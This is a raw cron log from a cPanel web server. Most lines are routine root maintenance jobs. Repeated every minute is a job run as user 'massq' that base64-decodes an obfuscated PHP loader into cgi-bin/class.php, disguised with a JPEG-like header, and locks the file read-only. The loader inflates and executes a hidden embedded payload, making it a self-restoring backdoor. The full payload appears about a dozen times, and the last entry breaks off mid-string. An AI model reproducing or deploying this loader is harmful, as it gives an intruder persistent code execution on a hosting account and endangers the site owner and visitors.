Sep 10 02:35:01 server CROND[25839]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:35:01 server CROND[25838]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 02:35:01 server CROND[25837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:35:01 server CROND[25840]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 02:36:01 server CROND[26699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:36:01 server CROND[26698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:36:01 server CROND[26700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:37:01 server CROND[27071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:37:01 server CROND[27072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:37:01 server CROND[27073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:38:01 server CROND[27546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:38:01 server CROND[27547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:38:01 server CROND[27548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:39:01 server CROND[27925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:39:01 server CROND[27926]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 02:39:01 server CROND[27927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:39:01 server CROND[27930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:40:01 server CROND[28336]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 02:40:01 server CROND[28337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 02:40:01 server CROND[28339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:40:01 server CROND[28344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:40:01 server CROND[28343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:40:01 server CROND[28345]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:40:01 server CROND[28346]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:40:01 server CROND[28348]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 02:41:01 server CROND[29170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:41:01 server CROND[29172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:41:01 server CROND[29173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:42:01 server CROND[29547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:42:01 server CROND[29548]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:42:01 server CROND[29549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:42:01 server CROND[29550]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 02:43:01 server CROND[30036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:43:01 server CROND[30035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:43:01 server CROND[30037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:44:01 server CROND[30422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:44:01 server CROND[30423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:44:01 server CROND[30421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:45:01 server CROND[30810]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 02:45:01 server CROND[30812]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:45:01 server CROND[30821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:45:01 server CROND[30820]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 02:45:01 server CROND[30822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:45:01 server CROND[30824]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:45:01 server CROND[30819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:46:01 server CROND[31678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:46:01 server CROND[31679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:46:01 server CROND[31680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:47:01 server CROND[32074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:47:01 server CROND[32075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:47:01 server CROND[32076]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Sep 10 02:47:01 server CROND[32077]: (root) CMD (  bash -c 'sleep $((RANDOM % 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1)
Sep 10 02:47:01 server CROND[32078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSp